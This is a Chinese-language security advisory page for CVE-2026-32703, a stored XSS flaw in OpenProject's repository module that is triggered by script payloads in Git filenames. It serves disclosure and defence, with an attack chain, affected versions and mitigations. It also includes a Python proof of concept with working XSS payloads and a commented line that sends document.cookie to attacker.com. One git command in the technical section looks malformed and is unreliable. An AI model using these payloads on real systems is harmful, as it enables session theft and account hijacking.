IPBUF安全漏洞报告
English
CVE-2026-32703 CVSS 9.0 严重

CVE-2026-32703 OpenProject仓库模块存储型XSS漏洞

披露日期: 2026-03-18

漏洞信息

漏洞编号
CVE-2026-32703
漏洞类型
存储型XSS
CVSS评分
9.0 严重
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
OpenProject

相关标签

存储型XSSOpenProjectCVE-2026-32703仓库模块HTML注入持久化攻击Web应用安全Git安全

漏洞概述

OpenProject是一款开源的Web项目管理系统。2026年3月披露的安全漏洞影响OpenProject多个版本,该漏洞存在于仓库(Repositories)模块中。攻击者利用该漏洞可以在文件名字段中注入恶意HTML或JavaScript代码,由于系统未对仓库中显示的文件名进行充分的安全过滤和转义处理,导致注入的恶意代码被持久化存储在系统中。当项目成员访问仓库页面并查看包含恶意文件的提交记录时,恶意代码将在受害者浏览器中执行,从而实现持久化的跨站脚本攻击(Stored XSS)。此漏洞的危险性在于攻击者只需拥有仓库的推送权限即可实施攻击,且恶意代码会持久存在于系统中,影响所有访问该仓库页面的用户。攻击成功后,攻击者可窃取用户会话cookie、劫持用户账户、执行任意操作或在受害者浏览器中进行钓鱼攻击。

技术细节

漏洞根源在于OpenProject的Repositories模块在展示仓库文件列表时,直接将文件名输出到HTML页面而未进行适当的HTML转义处理。攻击者利用Git的提交功能,可以创建一个文件名包含恶意HTML/JavaScript代码的提交。例如,当攻击者执行类似「git commit -m 'Initial commit' --allow-empty -o '<script>alert(document.cookie)</script>.txt」这样的命令时,恶意文件名会被提交到仓库中。系统在渲染仓库变更页面时,会将这个文件名未经转义地输出到HTML中,从而导致恶意脚本在用户访问页面时执行。由于该文件名被存储在Git历史中,因此这种攻击是持久化的,只要文件历史存在,恶意代码就会持续生效。攻击者利用此漏洞可以窃取受害者的认证凭证、模拟用户操作或进行进一步的攻击。修复版本(16.6.9、17.0.6、17.1.3、17.2.1)通过在输出文件名时进行HTML实体转义来消除此漏洞。

攻击链分析

STEP 1
步骤1
攻击者获得OpenProject仓库的推送权限,或创建一个新的仓库
STEP 2
步骤2
攻击者构造包含恶意HTML/JavaScript代码的文件名,如'<script>alert(document.cookie)</script>.txt'
STEP 3
步骤3
攻击者使用Git提交该恶意文件,提交信息可能伪装成正常更新以降低怀疑
STEP 4
步骤4
恶意文件名被存储在Git仓库历史中,攻击者将提交推送到OpenProject托管的仓库
STEP 5
步骤5
项目成员访问OpenProject的Repositories页面查看提交历史
STEP 6
步骤6
系统未转义直接输出恶意文件名到HTML页面,浏览器将其解析为可执行脚本
STEP 7
步骤7
恶意JavaScript代码在受害者浏览器中执行,窃取Cookie、会话令牌或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-32703 PoC - OpenProject Stored XSS via Repository Filename # Requires: Git, access to push to OpenProject repository import subprocess import sys def exploit(): """ This PoC demonstrates how an attacker with push access can inject malicious JavaScript through a specially crafted filename in a Git commit. """ # Malicious filename containing XSS payload malicious_filename = '<script>alert(String.fromCharCode(88,83,83))</script>.txt' # Alternative payloads that could be used: # <img src=x onerror=alert(document.cookie)> - Steal cookies # <svg/onload=fetch('https://attacker.com/?c='+document.cookie)> - Exfiltrate data # <iframe src="javascript:alert(document.domain)"> - Domain disclosure commands = [ # Initialize a git repo for testing (in real scenario, clone existing repo) "git init", "git config user.email '[email protected]'", "git config user.name 'Attacker'", # Create the malicious file with XSS payload in filename f"touch '{malicious_filename}'", f"git add '{malicious_filename}'", # Commit the malicious file "git commit -m 'Add documentation file'", # Display the malicious commit "git log --oneline -1", ] print("[*] CVE-2026-32703 OpenProject Stored XSS PoC") print("[*] This PoC creates a commit with XSS payload in filename") print(f"[*] Malicious filename: {malicious_filename}") print("[*] When this file is displayed in OpenProject repositories page,") print("[*] the script tag will execute in victim's browser.") for cmd in commands: print(f"\n[+] Executing: {cmd}") result = subprocess.run(cmd, shell=True, capture_output=True, text=True) if result.stdout: print(result.stdout) if result.stderr: print(result.stderr, file=sys.stderr) print("\n[!] In real attack scenario:") print("[!] 1. Push this commit to target OpenProject repository") print("[!] 2. Wait for victims to view the repository page") print("[!] 3. XSS payload executes in victim's browser") if __name__ == '__main__': exploit()

影响范围

OpenProject < 16.6.9
OpenProject < 17.0.6
OpenProject < 17.1.3
OpenProject < 17.2.1

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1)禁用或限制仓库模块的访问权限,仅允许受信任的团队成员访问;2)启用严格的Content-Security-Policy响应头,限制脚本执行;3)对仓库页面实施额外的安全过滤层;4)提醒用户不要点击可疑的仓库提交链接;5)监控Git日志以检测包含HTML标签的可疑文件名提交。建议在可行的情况下尽快升级到官方修复版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表